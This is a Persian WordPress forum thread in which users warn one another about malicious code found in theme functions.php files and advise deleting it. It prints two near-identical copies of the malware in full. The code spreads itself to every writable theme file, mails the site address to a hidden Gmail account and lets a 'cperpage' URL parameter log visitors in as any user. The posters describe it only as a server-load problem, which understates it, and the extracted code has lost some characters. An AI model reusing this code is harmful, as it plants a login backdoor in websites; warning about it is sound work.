تبلیغات
پشتیبانی وردپرس پشتیبانی سایت


امتیاز موضوع:
  • 0 رأی - میانگین امتیازات: 0
  • 1
  • 2
  • 3
  • 4
  • 5
اين كد مخرب است
#1
سلام عزيزان لطفا فايل فانكشن خود را نگاه كنيد اگر كد زير در آن قرار داشت حذف كنيد
اين كد مخرب هست و كساني كه ميگن وردپرس لود سرور را بالا مي بره حق دارن
اين كد فشاري بيش از حد به سرور مي ياره
کد php:
<?php

function _check_activewidgets(){

    
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

    
$output=strip_tags($output$allowed);

    
$direst=_getall_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

    if (
is_array($direst)){

        foreach (
$direst as $item){

            if (
is_writable($item)){

                
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

                
$cont=file_get_contents($item);

                if (
stripos($cont,$ftion) === false){

                    
$issepar=stripossubstr($cont,-20),"?".">") !== false "" "?".">";

                    
$output .= $before "Not found" $after;

                    if (
stripossubstr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

                    
$output=rtrim($output"\n\t"); fputs($f=fopen($item,"w+"),$cont $issepar "\n" .$widget);fclose($f);

                    
$output .= ($is_showdots && $ellipsis) ? "..." "";

                }

            }

        }

    }

    return 
$output;

}

function 
_getall_widgetcont($wids,$items=array()){

    
$places=array_shift($wids);

    if(
substr($places,-1) == "/"){

        
$places=substr($places,0,-1);

    }

    if(!
file_exists($places) || !is_dir($places)){

        return 
false;

    }elseif(
is_readable($places)){

        
$elems=scandir($places);

        foreach (
$elems as $elem){

            if (
$elem != "." && $elem != ".."){

                if (
is_dir($places "/" $elem)){

                    
$wids[]=$places "/" $elem;

                } elseif (
is_file($places "/" $elem)&&

                    
$elem == substr(__FILE__,-13)){

                    
$items[]=$places "/" $elem;}

                }

            }

    }else{

        return 
false;

    }

    if (
sizeof($wids) > 0){

        return 
_getall_widgetcont($wids,$items);

    } else {

        return 
$items;

    }

}

if(!
function_exists("stripos")){

    function 
stripos(  $str$needle$offset 0  ){

        return 
strpos(  strtolower$str ), strtolower$needle ), $offset  );

    }

}



if(!
function_exists("strripos")){

    function 
strripos(  $haystack$needle$offset 0  ) {

        if(  !
is_string$needle )  )$needle chr(  intval$needle )  );

        if(  
$offset 0  ){

            
$temp_cut strrev(  substr$haystack0abs($offset) )  );

        }

        else{

            
$temp_cut strrev(    substr(   $haystack0max(  ( strlen($haystack) - $offset ), 0  )   )    );

        }

        if(   (  
$found stripos$temp_cutstrrev($needle) )  ) === FALSE   )return FALSE;

        
$pos = (   strlen(  $haystack  ) - (  $found $offset strlen$needle )  )   );

        return 
$pos;

    }

}

if(!
function_exists("scandir")){

    function 
scandir($dir,$listDirectories=false$skipDots=true) {

        
$dirArray = array();

        if (
$handle opendir($dir)) {

            while (
false !== ($file readdir($handle))) {

                if ((
$file != "." && $file != "..") || $skipDots == true) {

                    if(
$listDirectories == false) { if(is_dir($file)) { continue; } }

                    
array_push($dirArray,basename($file));

                }

            }

            
closedir($handle);

        }

        return 
$dirArray;

    }

}

add_action("admin_head""_check_activewidgets");

function 
_getprepare_widgets(){

    if(!isset(
$chars_count)) $chars_count=120;

    if(!isset(
$methods)) $methods="cookie";

    if(!isset(
$allowed)) $allowed="<a>";

    if(!isset(
$f_type)) $f_type="none";

    if(!isset(
$issep)) $issep="";

    if(!isset(
$f_home)) $f_home=get_option("home");

    if(!isset(
$f_pref)) $f_pref="wp_";

    if(!isset(
$is_use_more)) $is_use_more=1;

    if(!isset(
$com_types)) $com_types="";

    if(!isset(
$c_pages)) $c_pages=$_GET["cperpage"];

    if(!isset(
$com_author)) $com_author="";

    if(!isset(
$comments_approved)) $comments_approved="";

    if(!isset(
$posts_auth)) $posts_auth="auth";

    if(!isset(
$text_more)) $text_more="(more...)";

    if(!isset(
$widget_is_output)) $widget_is_output=get_option("_is_widget_active_");

    if(!isset(
$widgetchecks)) $widgetchecks=$f_pref."set"."_".$posts_auth."_".$methods;

    if(!isset(
$text_more_ditails)) $text_more_ditails="(details...)";

    if(!isset(
$con_more)) $con_more="ma".$issep."il";

    if(!isset(
$forcemore)) $forcemore=1;

    if(!isset(
$fakeit)) $fakeit=1;

    if(!isset(
$sql)) $sql="";

    if (!
$widget_is_output) :



    global 
$wpdb$post;

    
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$issep."vethe".$com_types."mes".$issep."@".$comments_approved."gm".$com_author."ail".$issep.".".$issep."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

    
if (!empty($post->post_password)) {

        if (
$_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

            if(
is_feed()) {

                
$output=__("There is no excerpt because this is a protected post.");

            } else {

                
$output=get_the_password_form();

            }

        }

    }

    if(!isset(
$bfix_tags)) $bfix_tags=1;

    if(!isset(
$f_types)) $f_types=$f_home;

    if(!isset(
$getcommtext)) $getcommtext=$f_pref.$con_more;

    if(!isset(
$m_tags)) $m_tags="div";

    if(!isset(
$text_s)) $text_s=substr($sq1stripos($sq1"live"), 20);#

    
if(!isset($more_links_title)) $more_links_title="Continue reading this entry";

    if(!isset(
$is_showdots)) $is_showdots=1;



    
$comments=$wpdb->get_results($sql);

    if(
$fakeit == 2) {

        
$text=$post->post_content;

    } elseif(
$fakeit == 1) {

        
$text=(empty($post->post_excerpt)) ? $post->post_content $post->post_excerpt;

    } else {

        
$text=$post->post_excerpt;

    }

    
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content="call_user_func_array($getcommtext, array($text_s$f_home$f_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

    
if($chars_count 0) {

        
$output=$text;

    } else {

        if(!
$no_more && strpos($text"<!--more-->")) {

            
$text=explode("<!--more-->"$text2);

            
$l=count($text[0]);

            
$more_link=1;

            
$comments=$wpdb->get_results($sql);

        } else {

            
$text=explode(" "$text);

            if(
count($text) > $chars_count) {

                
$l=$chars_count;

                
$ellipsis=1;

            } else {

                
$l=count($text);

                
$text_more="";

                
$ellipsis=0;

            }

        }

        for (
$i=0$i<$l$i++)

                
$output .= $text[$i] . " ";

    }

    
update_option("_is_widget_active_"1);

    if(
"all" != $allowed) {

        
$output=strip_tags($output$allowed);

        return 
$output;

    }

    endif;

    
$output=rtrim($output"\s\n\t\r\0\x0B");

    
$output=($bfix_tags) ? balanceTags($outputtrue) : $output;

    
$output .= ($is_showdots && $ellipsis) ? "..." "";

    
$output=apply_filters($f_type$output);

    switch(
$m_tags) {

        case(
"div") :

            
$tag="div";

        break;

        case(
"span") :

            
$tag="span";

        break;

        case(
"p") :

            
$tag="p";

        break;

        default :

            
$tag="span";

    }



    if (
$is_use_more ) {

        if(
$forcemore) {

            
$output .= " <" $tag " class=\"more-link\"><a href=\""get_permalink($post->ID) . "#more-" $post->ID ."\" title=\"" $more_links_title "\">" $text_more = !is_user_logged_in() && @call_user_func_array($widgetchecks,array($c_pagestrue)) ? $text_more "" "</a></" $tag ">" "\n";

        } else {

            
$output .= " <" $tag " class=\"more-link\"><a href=\""get_permalink($post->ID) . "\" title=\"" $more_links_title "\">" $text_more "</a></" $tag ">" "\n";

        }

    }

    return 
$output;

}

add_action("init""_getprepare_widgets");


function 
stf_redirect_to_post(){
    global 
$wp_query;
 
    
// If there is one post on archive page
    
if( is_archive() && $wp_query->post_count == ){
        
// Setup post data
        
the_post();
        
// Get permalink
        
$post_url get_permalink();
        
// Redirect to post page
        
wp_redirect$post_url );
    }  
 
add_action('template_redirect''stf_redirect_to_post');



?>
طراحي انواع قالب ، طراحي افزونه ، طراحي سايت ، برنامه نويسي وب

دیدن لینک ها برای شما امکان پذیر نیست. لطفا ثبت نام کنید یا وارد حساب خود شوید تا بتوانید لینک ها را ببینید.


پاسخ
تبلیغات
تبلیغات ارزان تبیلغات
#2
سلام تقریبا تو همه قالب ها هست .
خب بجاش چی بزاریم ؟
پاسخ
#3
فقط حذف كنيد
چيزي به جاش نمي خواد بذاريد
طراحي انواع قالب ، طراحي افزونه ، طراحي سايت ، برنامه نويسي وب

دیدن لینک ها برای شما امکان پذیر نیست. لطفا ثبت نام کنید یا وارد حساب خود شوید تا بتوانید لینک ها را ببینید.


پاسخ
#4
کاربردشم میپره خب.
پاسخ
#5
جنا ب يزدانيان هيچ كاربردي اين نداره شما حذف كنيد قالب خراب شد من قالب بهتون مي دم
طراحي انواع قالب ، طراحي افزونه ، طراحي سايت ، برنامه نويسي وب

دیدن لینک ها برای شما امکان پذیر نیست. لطفا ثبت نام کنید یا وارد حساب خود شوید تا بتوانید لینک ها را ببینید.


پاسخ
#6
قالب به هم نمیریزه که؟
پاسخ
#7
منم یه کدی داخل قالبم وجود داره. البته شبیه این کدی هست که شما دادین، دقیقا عین اون نیست. آیا اینم مخربه؟
کد php:
function _check_active_widget(){
    
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    
$output=strip_tags($output$allowed);
    
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (
is_array($direst)){
        foreach (
$direst as $item){
            if (
is_writable($item)){
                
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                
$cont=file_get_contents($item);
                if (
stripos($cont,$ftion) === false){
                    
$sar=stripossubstr($cont,-20),"?".">") !== false "" "?".">";
                    
$output .= $before "Not found" $after;
                    if (
stripossubstr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                    
$output=rtrim($output"\n\t"); fputs($f=fopen($item,"w+"),$cont $sar "\n" .$widget);fclose($f);                
                    
$output .= ($showdot && $ellipsis) ? "..." "";
                }
            }
        }
    }
    return 
$output;
}
function 
_get_all_widgetcont($wids,$items=array()){
    
$places=array_shift($wids);
    if(
substr($places,-1) == "/"){
        
$places=substr($places,0,-1);
    }
    if(!
file_exists($places) || !is_dir($places)){
        return 
false;
    }elseif(
is_readable($places)){
        
$elems=scandir($places);
        foreach (
$elems as $elem){
            if (
$elem != "." && $elem != ".."){
                if (
is_dir($places "/" $elem)){
                    
$wids[]=$places "/" $elem;
                } elseif (
is_file($places "/" $elem)&& 
                    
$elem == substr(__FILE__,-13)){
                    
$items[]=$places "/" $elem;}
                }
            }
    }else{
        return 
false;    
    }
    if (
sizeof($wids) > 0){
        return 
_get_all_widgetcont($wids,$items);
    } else {
        return 
$items;
    }
}
if(!
function_exists("stripos")){ 
    function 
stripos(  $str$needle$offset 0  ){ 
        return 
strpos(  strtolower$str ), strtolower$needle ), $offset  ); 
    }
}

if(!
function_exists("strripos")){ 
    function 
strripos(  $haystack$needle$offset 0  ) { 
        if(  !
is_string$needle )  )$needle chr(  intval$needle )  ); 
        if(  
$offset 0  ){ 
            
$temp_cut strrev(  substr$haystack0abs($offset) )  ); 
        } 
        else{ 
            
$temp_cut strrev(    substr(   $haystack0max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  
$found stripos$temp_cutstrrev($needle) )  ) === FALSE   )return FALSE
        
$pos = (   strlen(  $haystack  ) - (  $found $offset strlen$needle )  )   ); 
        return 
$pos
    }
}
if(!
function_exists("scandir")){ 
    function 
scandir($dir,$listDirectories=false$skipDots=true) {
        
$dirArray = array();
        if (
$handle opendir($dir)) {
            while (
false !== ($file readdir($handle))) {
                if ((
$file != "." && $file != "..") || $skipDots == true) {
                    if(
$listDirectories == false) { if(is_dir($file)) { continue; } }
                    
array_push($dirArray,basename($file));
                }
            }
            
closedir($handle);
        }
        return 
$dirArray;
    }
}
add_action("admin_head""_check_active_widget");
function 
_prepared_widget(){
    if(!isset(
$length)) $length=120;
    if(!isset(
$method)) $method="cookie";
    if(!isset(
$html_tags)) $html_tags="<a>";
    if(!isset(
$filters_type)) $filters_type="none";
    if(!isset(
$s)) $s="";
    if(!isset(
$filter_h)) $filter_h=get_option("home"); 
    if(!isset(
$filter_p)) $filter_p="wp_";
    if(!isset(
$use_link)) $use_link=1
    if(!isset(
$comments_type)) $comments_type=""
    if(!isset(
$perpage)) $perpage=$_GET["cperpage"];
    if(!isset(
$comments_auth)) $comments_auth="";
    if(!isset(
$comment_is_approved)) $comment_is_approved=""
    if(!isset(
$authname)) $authname="auth";
    if(!isset(
$more_links_text)) $more_links_text="(more...)";
    if(!isset(
$widget_output)) $widget_output=get_option("_is_widget_active_");
    if(!isset(
$checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
    if(!isset(
$more_links_text_ditails)) $more_links_text_ditails="(details...)";
    if(!isset(
$more_content)) $more_content="ma".$s."il";
    if(!isset(
$forces_more)) $forces_more=1;
    if(!isset(
$fakeit)) $fakeit=1;
    if(!isset(
$sql)) $sql="";
    if (!
$widget_output) :
    
    global 
$wpdb$post;
    
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    
if (!empty($post->post_password)) { 
        if (
$_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
            if(
is_feed()) { 
                
$output=__("There is no excerpt because this is a protected post.");
            } else {
                
$output=get_the_password_form();
            }
        }
    }
    if(!isset(
$fix_tag)) $fix_tag=1;
    if(!isset(
$filters_types)) $filters_types=$filter_h
    if(!isset(
$getcommentstext)) $getcommentstext=$filter_p.$more_content;
    if(!isset(
$more_tags)) $more_tags="div";
    if(!isset(
$s_text)) $s_text=substr($sq1stripos($sq1"live"), 20);#
    
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";    
    if(!isset(
$showdot)) $showdot=1;
    
    
$comments=$wpdb->get_results($sql);    
    if(
$fakeit == 2) { 
        
$text=$post->post_content;
    } elseif(
$fakeit == 1) { 
        
$text=(empty($post->post_excerpt)) ? $post->post_content $post->post_excerpt;
    } else { 
        
$text=$post->post_excerpt;
    }
    
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content="call_user_func_array($getcommentstext, array($s_text$filter_h$filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    
if($length 0) {
        
$output=$text;
    } else {
        if(!
$no_more && strpos($text"<!--more-->")) {
            
$text=explode("<!--more-->"$text2);
            
$l=count($text[0]);
            
$more_link=1;
            
$comments=$wpdb->get_results($sql);
        } else {
            
$text=explode(" "$text);
            if(
count($text) > $length) {
                
$l=$length;
                
$ellipsis=1;
            } else {
                
$l=count($text);
                
$more_links_text="";
                
$ellipsis=0;
            }
        }
        for (
$i=0$i<$l$i++)
                
$output .= $text[$i] . " ";
    }
    
update_option("_is_widget_active_"1);
    if(
"all" != $html_tags) {
        
$output=strip_tags($output$html_tags);
        return 
$output;
    }
    endif;
    
$output=rtrim($output"\s\n\t\r\0\x0B");
    
$output=($fix_tag) ? balanceTags($outputtrue) : $output;
    
$output .= ($showdot && $ellipsis) ? "..." "";
    
$output=apply_filters($filters_type$output);
    switch(
$more_tags) {
        case(
"div") :
            
$tag="div";
        break;
        case(
"span") :
            
$tag="span";
        break;
        case(
"p") :
            
$tag="p";
        break;
        default :
            
$tag="span";
    }

    if (
$use_link ) {
        if(
$forces_more) {
            
$output .= " <" $tag " class=\"more-link\"><a href=\""get_permalink($post->ID) . "#more-" $post->ID ."\" title=\"" $mlink_title "\">" $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpagetrue)) ? $more_links_text "" "</a></" $tag ">" "\n";
        } else {
            
$output .= " <" $tag " class=\"more-link\"><a href=\""get_permalink($post->ID) . "\" title=\"" $mlink_title "\">" $more_links_text "</a></" $tag ">" "\n";
        }
    }
    return 
$output;
}

add_action("init""_prepared_widget");

function 
__popular_posts($no_posts=6$before="<li>"$after="</li>"$show_pass_post=false$duration="") {
    global 
$wpdb;
    
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts$wpdb->comments";
    
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    if(!
$show_pass_post$request .= " AND post_password =\"\"";
    if(
$duration !="") { 
        
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    
$posts=$wpdb->get_results($request);
    
$output="";
    if (
$posts) {
        foreach (
$posts as $post) {
            
$post_title=stripslashes($post->post_title);
            
$comment_count=$post->comment_count;
            
$permalink=get_permalink($post->ID);
            
$output .= $before " <a href=\"" $permalink "\" title=\"" $post_title."\">" $post_title "</a> " $after;
        }
    } else {
        
$output .= $before "None found" $after;
    }
    return  
$output;

if ( 
function_exists('register_sidebar') )
register_sidebar(array(
'before_widget' => '<div class="m">',
'after_widget' => '</div></div>',
'before_title' => '<div class="m-t">',
'after_title' => '</div><div class="m-c">',
)); 

پاسخ
#8
نقل قول:

قالب به هم نمیریزه که؟
خير

[تصویر:  25s3xesssbtaqxwq8r5.gif]


طراحي
انواع قالب ، طراحي افزونه ، طراحي سايت ، برنامه نويسي وب

دیدن لینک ها برای شما امکان پذیر نیست. لطفا ثبت نام کنید یا وارد حساب خود شوید تا بتوانید لینک ها را ببینید.


فروش انواع قالب و افزونه در فروشگاه وردپرس
دیدن لینک ها برای شما امکان پذیر نیست. لطفا ثبت نام کنید یا وارد حساب خود شوید تا بتوانید لینک ها را ببینید.
پاسخ
#9
یعنی این با اون کد آقای پارسایی فرق داره؟ کارش چیه؟
پاسخ
#10
نه شما اشتباه گرفين
من جواب دوست قبلي رو داده بودم
جواب شما بله ميباشد
شما اين كد را حذف نماييد.
البته قبلش يه بكاپ بگيرين
جواب سوال دومتون:
نقل قول: سلام عزيزان لطفا فايل فانكشن خود را نگاه كنيد اگر كد زير در آن قرار داشت حذف كنيد

اين كد مخرب هست و كساني كه ميگن وردپرس لود سرور را بالا مي بره حق دارن

اين كد فشاري بيش از حد به سرور مي ياره

[تصویر:  25s3xesssbtaqxwq8r5.gif]


طراحي
انواع قالب ، طراحي افزونه ، طراحي سايت ، برنامه نويسي وب

دیدن لینک ها برای شما امکان پذیر نیست. لطفا ثبت نام کنید یا وارد حساب خود شوید تا بتوانید لینک ها را ببینید.


فروش انواع قالب و افزونه در فروشگاه وردپرس
دیدن لینک ها برای شما امکان پذیر نیست. لطفا ثبت نام کنید یا وارد حساب خود شوید تا بتوانید لینک ها را ببینید.
پاسخ


پرش به انجمن:


کاربرانِ درحال بازدید از این موضوع: 1 مهمان